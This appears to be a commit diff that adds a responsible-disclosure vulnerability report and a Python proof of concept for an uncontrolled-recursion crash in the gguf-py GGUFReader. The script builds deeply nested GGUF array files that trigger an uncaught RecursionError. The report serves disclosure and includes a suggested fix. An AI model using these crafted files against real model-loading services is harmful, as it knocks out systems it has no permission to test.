Upload 2 files
Browse files- README.md +89 -3
- poc_gguf_nested_array_recursion.py +148 -0
README.md
CHANGED
|
@@ -1,3 +1,89 @@
|
|
| 1 |
-
--
|
| 2 |
-
|
| 3 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# GGUF Nested Array (ARRAY-of-ARRAY) Uncontrolled Recursion — RecursionError DoS
|
| 2 |
+
|
| 3 |
+
**Status:** Preparing for Huntr submission
|
| 4 |
+
**Package:** [`gguf`](https://pypi.org/project/gguf/) (PyPI) — official gguf-py from [ggml-org/llama.cpp](https://github.com/ggml-org/llama.cpp)
|
| 5 |
+
**File / function:** `gguf/gguf_reader.py`, `GGUFReader._get_field_parts()`
|
| 6 |
+
**Class:** CWE-674 (Uncontrolled Recursion)
|
| 7 |
+
**Severity:** Medium — an uncaught, unhandled exception crashes any application calling `GGUFReader()` on a ~12KB crafted file, with no exception type most code would think to catch.
|
| 8 |
+
|
| 9 |
+
## Summary
|
| 10 |
+
|
| 11 |
+
When a GGUF key/value metadata field has type `ARRAY`, `GGUFReader._get_field_parts()` reads the array's *element* type and recursively calls itself to parse each element:
|
| 12 |
+
|
| 13 |
+
```python
|
| 14 |
+
if gtype == GGUFValueType.ARRAY:
|
| 15 |
+
raw_itype = self._get(offs, np.uint32)
|
| 16 |
+
...
|
| 17 |
+
for idx in range(alen[0]):
|
| 18 |
+
curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
|
| 19 |
+
```
|
| 20 |
+
|
| 21 |
+
There is no check that the element type (`raw_itype`) isn't itself `ARRAY`, and no recursion depth limit. A GGUF file can declare an array whose elements are arrays, whose elements are arrays, nested as deep as the file's author chooses.
|
| 22 |
+
|
| 23 |
+
**The reference C++ implementation explicitly rejects this.** In `ggml/src/gguf.cpp`'s type-dispatch switch:
|
| 24 |
+
|
| 25 |
+
```c
|
| 26 |
+
case GGUF_TYPE_ARRAY:
|
| 27 |
+
default:
|
| 28 |
+
{
|
| 29 |
+
GGML_LOG_ERROR("%s: key '%s' has invalid GGUF type %d\n", ...);
|
| 30 |
+
ok = false;
|
| 31 |
+
} break;
|
| 32 |
+
```
|
| 33 |
+
|
| 34 |
+
Encountering `ARRAY` as an array's element type is treated as invalid input and cleanly rejected. The Python bindings have no equivalent check.
|
| 35 |
+
|
| 36 |
+
## Proof of Concept
|
| 37 |
+
|
| 38 |
+
`poc_gguf_nested_array_recursion.py` builds a series of small, otherwise-valid GGUF files with a single KV field nested to increasing depth, and shows the divergence:
|
| 39 |
+
|
| 40 |
+
```bash
|
| 41 |
+
pip install gguf numpy
|
| 42 |
+
python poc_gguf_nested_array_recursion.py [path to a compiled llama-gguf binary, optional]
|
| 43 |
+
```
|
| 44 |
+
|
| 45 |
+
### Results
|
| 46 |
+
|
| 47 |
+
| Nesting depth | File size | Python `gguf-py` | Native C++ reader |
|
| 48 |
+
|---:|---:|---|---|
|
| 49 |
+
| 1 | 70 bytes | accepted silently | **rejected cleanly** ("invalid GGUF type") |
|
| 50 |
+
| 10 | 178 bytes | accepted silently | (not tested, same as depth 1) |
|
| 51 |
+
| 100 | 1,258 bytes | accepted silently | — |
|
| 52 |
+
| 1,000 | 12,058 bytes | **`RecursionError: maximum recursion depth exceeded`** | — |
|
| 53 |
+
| 5,000 | 60,058 bytes | **`RecursionError: maximum recursion depth exceeded`** | — |
|
| 54 |
+
|
| 55 |
+
Even a *single* level of nesting is a genuine parity gap (Python accepts what the reference C++ implementation explicitly rejects as malformed), and by depth ~1000 — matching Python's default `sys.setrecursionlimit()` — it becomes an uncaught crash.
|
| 56 |
+
|
| 57 |
+
The `RecursionError` is not caught anywhere in `gguf-py`; it propagates all the way out of `GGUFReader.__init__()`:
|
| 58 |
+
|
| 59 |
+
```
|
| 60 |
+
Traceback (most recent call last):
|
| 61 |
+
File "...", line 3, in <module>
|
| 62 |
+
File ".../gguf/gguf_reader.py", line 169, in __init__
|
| 63 |
+
offs = self._build_fields(offs, kv_count)
|
| 64 |
+
File ".../gguf/gguf_reader.py", line 298, in _build_fields
|
| 65 |
+
field_size, field_parts, field_idxs, field_types = self._get_field_parts(offs, raw_kv_type[0])
|
| 66 |
+
File ".../gguf/gguf_reader.py", line 248, in _get_field_parts
|
| 67 |
+
curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
|
| 68 |
+
[Previous line repeated 990 more times]
|
| 69 |
+
...
|
| 70 |
+
RecursionError: maximum recursion depth exceeded
|
| 71 |
+
```
|
| 72 |
+
|
| 73 |
+
Any application calling `GGUFReader(path)` without a specific `except RecursionError` handler — unusual, since most file-parsing code anticipates `ValueError`/`OSError`, not `RecursionError` — crashes with an unhandled exception.
|
| 74 |
+
|
| 75 |
+
## Impact
|
| 76 |
+
|
| 77 |
+
Any service that loads untrusted or third-party GGUF files with `gguf-py` (model preview/validation services, conversion tooling, CI harnesses testing community-submitted models) can be crashed by a ~12KB file that otherwise looks like an ordinary, if oddly-structured, metadata field.
|
| 78 |
+
|
| 79 |
+
## Suggested fix
|
| 80 |
+
|
| 81 |
+
In `_get_field_parts()`, reject `ARRAY` as a valid array-element type the same way the C++ implementation does (this alone fixes the underlying parity gap and, as a side effect, removes the unbounded-recursion path entirely, since the recursion can only occur through nested arrays).
|
| 82 |
+
|
| 83 |
+
## Relationship to other reports
|
| 84 |
+
|
| 85 |
+
Same vulnerability *class* (CWE-674, Uncontrolled Recursion) as a separately-reported finding in `protobuf`'s `json_format.ParseDict()` — but a completely different library, format, and code path. Also distinct from this reporter's two other `gguf-py` findings: "KV Array Field Unbounded Length" (CWE-834, iteration-based, not recursion) and "Tensor Data Offset Aliasing" (CWE-1284, a data-integrity issue unrelated to metadata parsing). Also distinct from a separately and independently reported `n_dims`/`GGML_MAX_DIMS` parity gap (a different structural issue — per-tensor dimension count vs. this report's array *nesting*).
|
| 86 |
+
|
| 87 |
+
## Disclosure
|
| 88 |
+
|
| 89 |
+
Please do not use this PoC against production systems you do not own or have explicit permission to test.
|
poc_gguf_nested_array_recursion.py
ADDED
|
@@ -0,0 +1,148 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: GGUF Nested Array (ARRAY-of-ARRAY) Uncontrolled Recursion -> RecursionError DoS
|
| 4 |
+
|
| 5 |
+
Target: gguf (PyPI), gguf-py from ggml-org/llama.cpp
|
| 6 |
+
File: gguf/gguf_reader.py, GGUFReader._get_field_parts()
|
| 7 |
+
|
| 8 |
+
Root cause (CWE-674, Uncontrolled Recursion):
|
| 9 |
+
|
| 10 |
+
if gtype == GGUFValueType.ARRAY:
|
| 11 |
+
raw_itype = self._get(offs, np.uint32)
|
| 12 |
+
offs += int(raw_itype.nbytes)
|
| 13 |
+
alen = self._get(offs, np.uint64)
|
| 14 |
+
offs += int(alen.nbytes)
|
| 15 |
+
aparts = [raw_itype, alen]
|
| 16 |
+
data_idxs = []
|
| 17 |
+
for idx in range(alen[0]):
|
| 18 |
+
curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
|
| 19 |
+
...
|
| 20 |
+
|
| 21 |
+
When a KV metadata field has type ARRAY, the reader reads the array's
|
| 22 |
+
*element* type (`raw_itype`) and recurses into `_get_field_parts()` to
|
| 23 |
+
parse each element -- with NO check that `raw_itype` isn't itself ARRAY,
|
| 24 |
+
and no recursion depth limit. A GGUF file can therefore declare an array
|
| 25 |
+
whose element type is "array", whose element type is "array", ... nested
|
| 26 |
+
as deep as the file declares.
|
| 27 |
+
|
| 28 |
+
The reference C/C++ implementation in ggml-org/llama.cpp explicitly
|
| 29 |
+
rejects this: in `ggml/src/gguf.cpp`, the type-dispatch switch statement
|
| 30 |
+
has:
|
| 31 |
+
|
| 32 |
+
case GGUF_TYPE_ARRAY:
|
| 33 |
+
default:
|
| 34 |
+
{
|
| 35 |
+
GGML_LOG_ERROR("%s: key '%s' has invalid GGUF type %d\n", ...);
|
| 36 |
+
ok = false;
|
| 37 |
+
} break;
|
| 38 |
+
|
| 39 |
+
i.e. encountering ARRAY as an array's element type is treated as an
|
| 40 |
+
invalid/malformed file and rejected cleanly. The Python bindings have no
|
| 41 |
+
equivalent check.
|
| 42 |
+
|
| 43 |
+
Impact: nesting depth around Python's default recursion limit (~1000)
|
| 44 |
+
causes an uncaught `RecursionError` that propagates all the way out of
|
| 45 |
+
`GGUFReader.__init__()` -- there is no try/except anywhere in the
|
| 46 |
+
recursive call chain. Any application that calls `GGUFReader(path)`
|
| 47 |
+
without a specific `except RecursionError` handler (unusual -- most
|
| 48 |
+
code anticipates `ValueError`/`OSError` for file-parsing failures, not
|
| 49 |
+
`RecursionError`) crashes with an unhandled exception. A file of
|
| 50 |
+
roughly 12KB is enough to trigger this reliably.
|
| 51 |
+
|
| 52 |
+
This script:
|
| 53 |
+
1. Builds a small, valid GGUF file with a single KV field of type
|
| 54 |
+
ARRAY, nested N levels deep (each level's element type is again
|
| 55 |
+
ARRAY, with array length 1), bottoming out in a 1-element INT32
|
| 56 |
+
array.
|
| 57 |
+
2. Demonstrates that Python silently accepts shallow nesting (10,
|
| 58 |
+
100 levels) but raises an uncaught RecursionError at deeper
|
| 59 |
+
nesting (1000, 5000 levels).
|
| 60 |
+
3. If a compiled `llama-gguf` binary path is given, also demonstrates
|
| 61 |
+
that the native C++ reference implementation cleanly REJECTS even
|
| 62 |
+
a single level of nesting -- confirming this is a genuine parity
|
| 63 |
+
gap, not merely "the file is malformed and everyone rejects it
|
| 64 |
+
differently."
|
| 65 |
+
|
| 66 |
+
Requires: pip install gguf numpy
|
| 67 |
+
"""
|
| 68 |
+
|
| 69 |
+
import struct
|
| 70 |
+
import os
|
| 71 |
+
import subprocess
|
| 72 |
+
import sys
|
| 73 |
+
|
| 74 |
+
GGUF_MAGIC = 0x46554747
|
| 75 |
+
GGUFValueType_ARRAY = 9
|
| 76 |
+
GGUFValueType_INT32 = 5
|
| 77 |
+
|
| 78 |
+
|
| 79 |
+
def pack_str(s: str) -> bytes:
|
| 80 |
+
b = s.encode("utf-8")
|
| 81 |
+
return struct.pack("<Q", len(b)) + b
|
| 82 |
+
|
| 83 |
+
|
| 84 |
+
def build_nested_array_gguf(depth: int, path: str) -> int:
|
| 85 |
+
header = struct.pack("<I", GGUF_MAGIC)
|
| 86 |
+
header += struct.pack("<I", 3) # version
|
| 87 |
+
header += struct.pack("<Q", 0) # tensor_count
|
| 88 |
+
header += struct.pack("<Q", 1) # kv_count
|
| 89 |
+
|
| 90 |
+
kv = pack_str("nested")
|
| 91 |
+
kv += struct.pack("<I", GGUFValueType_ARRAY) # top-level type: ARRAY
|
| 92 |
+
|
| 93 |
+
for _ in range(depth):
|
| 94 |
+
kv += struct.pack("<I", GGUFValueType_ARRAY) # element type: ARRAY (nested!)
|
| 95 |
+
kv += struct.pack("<Q", 1) # array length: 1
|
| 96 |
+
|
| 97 |
+
# bottom out with a real 1-element INT32 array
|
| 98 |
+
kv += struct.pack("<I", GGUFValueType_INT32)
|
| 99 |
+
kv += struct.pack("<Q", 1)
|
| 100 |
+
kv += struct.pack("<i", 42)
|
| 101 |
+
|
| 102 |
+
data = header + kv
|
| 103 |
+
with open(path, "wb") as f:
|
| 104 |
+
f.write(data)
|
| 105 |
+
return len(data)
|
| 106 |
+
|
| 107 |
+
|
| 108 |
+
def test_python_reader(path: str, depth: int) -> None:
|
| 109 |
+
from gguf.gguf_reader import GGUFReader
|
| 110 |
+
try:
|
| 111 |
+
GGUFReader(path)
|
| 112 |
+
print(f" depth={depth}: accepted silently (no error)")
|
| 113 |
+
except RecursionError as e:
|
| 114 |
+
print(f" depth={depth}: RecursionError -- {e}")
|
| 115 |
+
except Exception as e:
|
| 116 |
+
print(f" depth={depth}: {type(e).__name__}: {e}")
|
| 117 |
+
|
| 118 |
+
|
| 119 |
+
def test_native_reader(binary: str, path: str) -> None:
|
| 120 |
+
r = subprocess.run([binary, path, "r"], capture_output=True, timeout=10)
|
| 121 |
+
stderr = r.stderr.decode(errors="replace")
|
| 122 |
+
if "invalid GGUF type" in stderr or "invalid GGUF type" in r.stdout.decode(errors="replace"):
|
| 123 |
+
print(" native C++ reader: cleanly REJECTED (invalid GGUF type)")
|
| 124 |
+
else:
|
| 125 |
+
print(f" native C++ reader: exit={r.returncode}, stderr tail: {stderr[-200:]}")
|
| 126 |
+
|
| 127 |
+
|
| 128 |
+
def main():
|
| 129 |
+
print("=== Building nested-array GGUF files at increasing depth ===\n")
|
| 130 |
+
for depth in (1, 10, 100, 1000, 5000):
|
| 131 |
+
path = f"poc_nested_array_depth_{depth}.gguf"
|
| 132 |
+
size = build_nested_array_gguf(depth, path)
|
| 133 |
+
print(f"depth={depth}: {size} bytes")
|
| 134 |
+
test_python_reader(path, depth)
|
| 135 |
+
if depth == 1 and len(sys.argv) > 1:
|
| 136 |
+
print()
|
| 137 |
+
test_native_reader(sys.argv[1], path)
|
| 138 |
+
print()
|
| 139 |
+
|
| 140 |
+
print(
|
| 141 |
+
"Depth 1000 (~12KB file) is enough to trigger an uncaught RecursionError\n"
|
| 142 |
+
"on Python's default recursion limit. The exception propagates all the way\n"
|
| 143 |
+
"out of GGUFReader.__init__() with no handling anywhere in the library."
|
| 144 |
+
)
|
| 145 |
+
|
| 146 |
+
|
| 147 |
+
if __name__ == "__main__":
|
| 148 |
+
main()
|